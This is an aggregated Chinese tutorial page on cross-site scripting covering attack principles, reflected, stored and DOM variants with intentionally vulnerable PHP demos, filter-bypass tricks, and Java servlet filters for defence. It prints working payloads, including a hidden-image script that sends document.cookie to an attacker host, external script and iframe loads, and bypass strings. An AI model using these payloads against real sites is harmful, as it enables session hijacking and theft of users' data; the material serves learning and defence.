xss攻击 订阅
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 [1] 展开全文
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 [1]
信息
特    点
隐蔽性强、发起容易等特点
攻击手段
盗用cookie等
造成原因
程序漏洞
所属领域
计算机技术
中文名
跨站脚本攻击
外文名
Cross Site Scripting
XSS攻击简述
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。 [1] 
收起全文
精华内容
参与话题
问答
  • XSS攻击原理及防御措施

    万次阅读 2018-03-27 13:48:16
    参考文章:http://www.cnblogs.com/shytong/p/5308641.html一、XSS攻击原理 XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一...

    参考文章:http://www.cnblogs.com/shytong/p/5308641.html

    一、XSS攻击原理  

      XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。  

      XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 

      举例: 
     

      上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图: 


      当然我会将标题设计的非常吸引人点击,比如 “陈冠希艳照又有流出2012版(20P无码)” ,这样如果我将里面的alert换成恶意代码,比如: 
    location.href='
    http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
    这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人: 

    var img = document.createElement('img');  
    img.src='http://www.xss.com?cookie='+document.cookie;  
    img.style.display='none';  
    document.getElementsByTagName('body')[0].appendChild(img);  

      这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

     

    二、防御措施

    • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
    • 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
    展开全文
  • XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。...XSS攻击针对的是用户...

    海豚精灵https://www.whhtjl.com优课GOhttps://mgo.whhtjl.com

    XSS(跨站脚本)漏洞详解

    XSS的原理和分类

    跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

    XSS分为:存储型 、反射型 、DOM型XSS

    存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
    反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
    DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。 

    document.referer
    window.name
    location
    innerHTML
    documen.write
    

    如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

    XSS的攻击载荷

    <script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

    <script src=http://xxx.com/xss.js></script>  #引用外部的xss
    <script> alert("hack")</script>   #弹出hack
    <script>alert(document.cookie)</script> #弹出cookie
    

    <img>标签

    <img  src=1  onerror=alert("hack")>
    <img  src=1  onerror=alert(/hack/)>
    <img  src=1  onerror=alert(document.cookie)>  #弹出cookie
    <img  src=1  onerror=alert(123)>      注:对于数字,可以不用引号
    <img  src="javascript:alert("XSS");">
    <img  dynsrc="javascript:alert('XSS')">
    <img  lowsrc="javascript:alert('XSS')">
    

    <body>标签:可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background

    <body onload=alert("XSS")>
    <body background="javascript:alert("XSS")">
    

    <iframe>标签:该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。

    <iframe src=”http://evil.com/xss.html”>
    

    <input>标签:在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本

    <input type="image" src="javascript:alert('XSS');">
    

    <link>标签<link>标签,这是经常被用来连接外部的样式表可以包含的脚本

    <link rel="stylesheet" href="javascript:alert('XSS');">
    

    <table>标签:可以利用和标签的background属性来引用脚本而不是图像

    <table background="javascript:alert('XSS')">
     
    <td background="javascript:alert('XSS')">
    

    <div>标签:该<div>标签,类似于<table><td>标签也可以指定一个背景,因此嵌入的脚本。

    <div style="background-image: url(javascript:alert('XSS'))">
     
    <div style="width: expression(alert('XSS'));">
    

    <object>标签:该<object>标签可用于从外部站点脚本包含

    <object type="text/x-scriptlet" data="http://hacker.com/xss.html">
    

    XSS可以插在哪里? 
    用户输入作为script标签内容
    用户输入作为HTML注释内容
    用户输入作为HTML标签的属性名
    用户输入作为HTML标签的属性值
    用户输入作为HTML标签的名字
    直接插入到CSS里
    最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!

    #用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
    <!-- 用户输入 -->
    <!-- --><script>alert('hack')</script><!-- -->
     
    #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
    <div 用户输入="xx">  </div>
    <div ></div><script>alert('hack')</script><div a="xx"> </div>
     
    #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
    <div id="用户输入"></div>
    <div id=""></div><script>alert('hack')</script><div a="x"></div>
     
    #用户输入作为标签名,导致攻击者可以进行闭合绕过
    <用户输入  id="xx" />
    <><script>alert('hack')</script><b id="xx" />
     
    #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
    <style>用户输入<style>
    <style> </style><script>alert('hack')</script><style> </style>
    

    XSS漏洞的挖掘 
    黑盒测试

    尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

    URL的每一个参数
    URL本身
    表单
    搜索框
    常见业务场景

    重灾区:评论区、留言区、个人信息、订单信息等
    针对型:站内信、网页即时通讯、私信、意见反馈
    存在风险:搜索框、当前目录、图片属性等
    白盒测试(代码审计)

    关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

    PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

    也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

    大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

    同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

    XSS的攻击过程
    反射型XSS漏洞:

    Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。
    Tom 发现 Bob的站点存在反射性的XSS漏洞
    Tom编写了一个包含恶意代码的URL,并利用各种手段诱使Alice点击
    Alice在登录到Bob的站点后,浏览了 Tom 提供的URL
    嵌入到URL中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。
    Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制
    存储型XSS漏洞:

    Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
    Tom检测到Bob的站点存在存储型的XSS漏洞。
    Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
    Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。
    Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击
    XSS漏洞的危害
    从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

    那么,利用XSS漏洞可以干什么呢?

    如果我们的JS水平一般的话,我们可以利用网上免费的XSS平台来构造代码实施攻击。

    XSS漏洞的攻击测试

    反射型XSS:

    先放出源代码

    //前端 1.html:
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>反射型XSS</title>
    </head>
    <body>
        <form action="action.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
     
    //后端 action.php:
    <?php
        $name=$_POST["name"]; 
    	echo $name;
    ?>
    

    这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

    所以,我们可以在输入框中提交数据: <script>alert('hack')</script>  ,看看会有什么反应

    页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。
    这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

    存储型XSS:

    先给出源代码

    //前端:2.html
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>存储型XSS</title>
    </head>
    <body>
        <form action="action2.php" method="post">
            输入你的ID:  <input type="text" name="id" /> <br/>
            输入你的Name:<input type="text" name="name" /> <br/>
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
    //后端:action2.php
    <?php
    	$id=$_POST["id"];
    	$name=$_POST["name"];
    	mysql_connect("localhost","root","root");
    	mysql_select_db("test");
    	
    	$sql="insert into xss value ($id,'$name')";
    	$result=mysql_query($sql);
    ?>
    //供其他用户访问页面:show2.php
    <?php
    	mysql_connect("localhost","root","root");
    	mysql_select_db("test");
    	$sql="select * from xss where id=1";
    	$result=mysql_query($sql);
    	while($row=mysql_fetch_array($result)){
    		echo $row['name'];
    	}
    ?>
    

    这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了。

    我们输入 1   和 <script>alert(\'hack\')</script>   ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库

    可以看到,我们的XSS语句已经插入到数据库中了
    然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。
    存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

    DOM型XSS:

    先放上源代码

    // 前端3.html
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>DOM型XSS</title>
    </head>
    <body>
        <form action="action3.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
    // 后端action3.php
    <?php
      $name=$_POST["name"];
    ?>
    <input id="text" type="text" value="<?php echo $name; ?>"/>
    <div id="print"></div>
    <script type="text/javascript">
      var text=document.getElementById("text");
      var print=document.getElementById("print");
      print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
    </script>
    

    这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

    我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

    页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
    这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

    XSS的过滤和绕过
    前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的。

    一:区分大小写过滤标签

    先放上源代码

    //前端 1.html:
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>反射型XSS</title>
    </head>
    <body>
        <form action="action4.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
     
    //后端 action4.php:
    <?php
    $name=$_POST["name"]; 
    if($name!=null){
    	$name=preg_replace("/<script>/","",$name);      //过滤<script>
    	$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
    	echo $name; 
    }
    ?>
    

    绕过技巧:可以使用大小写绕过  <scripT>alert('hack')</scripT>

    二:不区分大小写过滤标签

    先放上源代码

    这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写

    $name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
    $name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
    

    绕过技巧:可以使用嵌套的script标签绕过   <scr<script>ipt>alert('hack')</scr</script>ipt>

    三:不区分大小写,过滤之间的所有内容

    先放上源代码

    这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化 

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
    

    虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

    payload:  <img src=1 οnerrοr=alert('hack')>

    我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

    XSS的防御
    XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

    对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

    对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

    如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

    #使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
    $name = htmlspecialchars( $_GET[ 'name' ] );
    

    XSS跨站脚本攻击在Java开发中防范的方法

    1. 防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

    2. Cookie 防盗

    首先避免直接在cookie 中泄露用户隐私,例如email、密码等等。其次通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。

    3. 尽量采用POST 而非GET 提交表单

    POST 操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的

    跨站漏洞。

    4. 严格检查refer

    检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求,也能防止大部分第1 类攻击手法,除非正好在特权操作的引用页上种了跨站访问。

    5. 将单步流程改为多步,在多步流程中引入效验码

    多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面,下一步操作时这个验证码被提交到服务器,服务器检查这个验证码是否匹配。

    首先这为第1 类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2 类攻击中是几乎无法做到的。

    6. 引入用户交互

    简单的一个看图识数可以堵住几乎所有的非预期特权操作。

    7. 只在允许anonymous 访问的地方使用动态的javascript。

    8. 对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等

    可疑操作。

    9. 内部管理网站的问题

    很多时候,内部管理网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS 攻击毫无抵抗力,需要多加注意。安全问题需要长期的关注,从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加隐蔽和多变,和业务流程、代码实现都有关系,不存在什么一劳永逸的解决方案。此外,面对XSS,往往要牺牲产品的便利性才能保证完全的安全,如何在安全和便利之间平衡也是一件需要考虑的事情。

    web应用开发者注意事项:

    1.对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键

    字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的

    任何东西。

    2.保护所有敏感的功能,以防被bots自动化或者被第三方网站所执行。实现session标记(session tokens)、

    CAPTCHA系统或者HTTP引用头检查。

    3.如果你的web应用必须支持用户提供的HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来

    保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何

    对远程内容的引用(尤其是样式表和JavaScript)。为了更多的安全,请使用httpOnly的cookie。

    XSS跨站脚本攻击漏洞的解决

    解决思路:

    第一、控制脚本注入的语法要素。比如:JavaScript离不开:“<”、“>”、“(”、“)”、“;”...等等,我们只需要在输入或输出时对其进行字符过滤或转义处理就即可。一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。允许可输入的字符串长度限制也可以一定程度上控制脚本注入。

    第二、所有的过滤、检测、限制等策略,建议在Web Server那一端去完成,而不是使用客户端的JavaScript或者VBScript去做简单的检查。因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段。

    出于全面的考虑,决定直接在后台进行过滤。

    解决方案:

    新增两个过滤器类:

    public class XssFilter implements Filter {
     
        @Override
        public void destroy() {
        }
        /**
         * 过滤器用来过滤的方法
         */
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            //包装request
            XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
            chain.doFilter(xssRequest, response);
        }
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
    }
    
    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
        HttpServletRequest orgRequest = null;
     
        public XssHttpServletRequestWrapper(HttpServletRequest request) {
            super(request);
        }
        /**
         * 覆盖getParameter方法,将参数名和参数值都做xss过滤。
         * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
         * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
         */
        @Override
        public String getParameter(String name) {
            String value = super.getParameter(xssEncode(name));
            if (value != null) {
                value = xssEncode(value);
            }
            return value;
        }
        @Override
        public String[] getParameterValues(String name) {
            String[] value = super.getParameterValues(name);
            if(value != null){
                for (int i = 0; i < value.length; i++) {
                    value[i] = xssEncode(value[i]);
                }
            }
            return value;
        }
        @Override
        public Map getParameterMap() {
            return super.getParameterMap();
        }
        /**
         * 将容易引起xss漏洞的半角字符直接替换成全角字符 在保证不删除数据的情况下保存
         * @return 过滤后的值
         */
        private static String xssEncode(String value) {
            if (value == null || value.isEmpty()) {
                return value;
            }
            value = value.replaceAll("eval\\((.*)\\)", "");
            value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
            value = value.replaceAll("(?i)<script.*?>.*?<script.*?>", "");
            value = value.replaceAll("(?i)<script.*?>.*?</script.*?>", "");
            value = value.replaceAll("(?i)<.*?javascript:.*?>.*?</.*?>", "");
            value = value.replaceAll("(?i)<.*?\\s+on.*?>.*?</.*?>", "");
            return value;
        }
    }
    

    web.xml中添加过滤:

    <filter>
      <filter-name>XssFilter</filter-name>
      <filter-class>XXXXX(该类的路径).XssFilter</filter-class>
    </filter>
    <filter-mapping>
      <filter-name>XssFilter</filter-name>
      <url-pattern>/*</url-pattern>
    </filter-mapping>
    

    OK了,需要自定义拦截规则的只要修改XssHttpServletRequestWrapper 类的xssEncode方法即可。

    web项目解决XSS跨站脚本漏洞

    maven项目解决方式需要配置如下:

    一、web.xml

    <!--防Xss start-->
    	<filter>
            <filter-name>XSSChecker</filter-name>
            <filter-class>com.watchme.login.filter.RedSwallowFilterNew</filter-class>
            <init-param>
                <param-name>redswallow.filter.plugin.htmlescapechar.config.includeParamPatterns</param-name>
                <param-value>service,staffId,STAFF_ID,cond_SERIAL_NUMBER,default_pagin_pagesize,EXEC_TIME,FINISH_DATE,sp,Listener,CLIENT_WIDTH,lh_type,listener,ROUTE_VALUE,contextCode,_tradeBase
                </param-value>
            </init-param>
            <init-param>
                <param-name>redswallow.filter.charset</param-name>
                <param-value>GBK</param-value>
            </init-param>
    	 </filter>
    	 <filter-mapping>
            <filter-name>XSSChecker</filter-name>
            <url-pattern>/*</url-pattern>
    	 </filter-mapping>
    	 
    	 <filter>
            <filter-name>CharacterFilter</filter-name>
            <filter-class>com.watchme.login.filter.CharacterFilter</filter-class>
            <init-param>
              <param-name>unCheckURLS</param-name>
              <param-value>
                 (/.*hotspot/saveHotspot*$)|(/.*product/editProductManager*$)|(/.*product/addProductManager*$)
                 |(/.*product/addMarketActivity*$)|(/.*product/editProductManager*$)|(/.*product/addProjectCase*$)
                 |(/.*product/editProductManager*$) |(/.*product/productSearchDetail*$)|(/.*product/editProductInfo*$)
                 |(/.*\.js$)|(/.*\.css$)|(/.*\.png$)|(/.*\.jpg$)|(/.*\.gif$)|(/.*\.ico$)
              </param-value>
            </init-param>
    	 </filter>
    	 <!--防Xss end-->
    

    二、pom.xml

    <!--防Xss--> 
    		<dependency>  
    		    <groupId>org.redswallow</groupId>  
    		    <artifactId>redswallow</artifactId>  
    		    <version>0.9.1</version>  
    		</dependency> 
    

    三、java类

    package com.cs.core.common.filter;
    
    import java.io.IOException;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletRequest;
    
    import org.redswallow.filter.RedSwallowFilter;
    
    /**
     * @ClassName: RedSwallowFilterNew
     * @Description: XSS过滤器
     * @author 
     */
    public class RedSwallowFilterNew extends RedSwallowFilter
    {
        
        @Override
        public void init(FilterConfig filterConfig)
            throws ServletException
        {
            super.init(filterConfig);
        }
        
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException
        {
            HttpServletRequest httpRequest = (HttpServletRequest)request;
            String url = httpRequest.getRequestURI();
            if (url.indexOf("/ueditor/jsp/")!=-1)
            {
                System.out.println("hi i come in don't be warry!");
                chain.doFilter(request, response);
            }
            else
            {
                super.doFilter(request, response, chain);
            }
        }
        
        @Override
        public void destroy()
        {
            super.destroy();
        }
        
    }
    
    package com.ailk.jike.common.filter;
    
    import java.io.IOException;
    import java.util.Enumeration;
    import java.util.Map;
    import java.util.StringTokenizer;
    
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletRequest;
    
    import com.ailk.jike.common.utils.CheckNull;
    
    /**
     * 部分字符过滤
     */
    public class CharacterFilter implements Filter {
    
        private String unCheckURLS;
    
        @Override
        @SuppressWarnings("unchecked")
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
            HttpServletRequest request = (HttpServletRequest) req;
            request.setCharacterEncoding("UTF-8");
            if (!request.getRequestURI().matches(unCheckURLS)) {
                Enumeration<String> enumerator = req.getParameterNames();
                Map<?, ?> pMap = req.getParameterMap();
                while (enumerator.hasMoreElements()) {
                    String paraName = enumerator.nextElement();
                    String[] value = (String[]) pMap.get(paraName);
                    if (value.length == 0) {
                        continue;
                    }
                    for (int i = 0; i < value.length; i++) {
                        value[i] = filterString(value[i]);
                    }
                }
            }
            chain.doFilter(req, res);
        }
    
        @Override
        public void init(FilterConfig filterconfig) throws ServletException {
            StringBuffer result = new StringBuffer();
            for (StringTokenizer token = new StringTokenizer(filterconfig.getInitParameter("unCheckURLS"), "\n"); token
                    .hasMoreTokens(); result.append(token.nextToken().trim()));
            unCheckURLS = result.toString();
        }
    
        @Override
        public void destroy() {
        }
    
        /**
         * 过滤字符集
         * 
         * @param inputStr
         *            需要过滤的字符串
         * @return 过滤后的字符串
         */
        private String filterString(String inputStr) {
        
           if(CheckNull.isNull(inputStr)){
        	   return inputStr;
           }
            inputStr = convertHtmlZy(inputStr);
            StringBuffer sb = new StringBuffer();
            for (int i = 0; i < inputStr.length(); i++) {
                char aChar = inputStr.charAt(i);
                switch (aChar) {
                    case '>':
                        sb.append('>');// 全角大于号
                        break;
                    case '<':
                        sb.append('<');// 全角小于号
                        break;
                   /* case '\'':
                        sb.append('‘');// 全角单引号
                        break;
                    case '\"':
                        sb.append('“');// 全角双引号
                        break;*/
                    case '&':
                    sb.append('&');// 全角
                    break;
                   /* case '[':
                        sb.append('【');// 全角
                        break;
                    case ']':
                        sb.append('】');// 全角
                        break;*/
                    // case '\\':
                    // sb.append('\');// 全角斜线
                    // break;
                    /*case '#':
                        sb.append('#');// 全角井号
                        break;
                    case ';':
                        sb.append(';');// ;转化为;
                        break;*/
                    default:
                        sb.append(aChar);
                        break;
                }
            }
            return sb.toString();
        }
    
        /**
         * 将转义字符转换成相应的广角字符
         * 
         * @param inputStr
         * @return
         */
        public String convertHtmlZy(String inputStr) {
            if (!CheckNull.isNull(inputStr)) {
                String temp = inputStr.toLowerCase();
                if (-1 != temp.indexOf("&amp")) {
                    temp = temp.replaceAll("&amp", "&");
                } else if (-1 != temp.indexOf("&gt")) {
                    temp = temp.replaceAll("&gt", ">");
                } else if (-1 != temp.indexOf("&lt")) {
                    temp = temp.replaceAll("&lt", "<");
                } else if (-1 != temp.indexOf("&quot")) {
                    temp = temp.replaceAll("&quot", "“");
                } else if (-1 != temp.indexOf("&apos")) {
                    temp = temp.replaceAll("&apos", "‘");
                } else {
                    temp = inputStr;
                }
                return temp;
    
            }
            return inputStr;
    
        }
    }
    

    参考文章:XSS(跨站脚本)漏洞详解

                     XSS跨站脚本攻击在Java开发中防范的方法

                     XSS跨站脚本攻击漏洞的解决

     

    展开全文
  • 面试问题如何预防xss攻击

    万次阅读 2018-07-11 18:37:40
    1. XSS攻击原理XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩展的含义)。XSS攻击涉及到三方:攻击者,用户,web server。用户是...

    1. XSS攻击原理

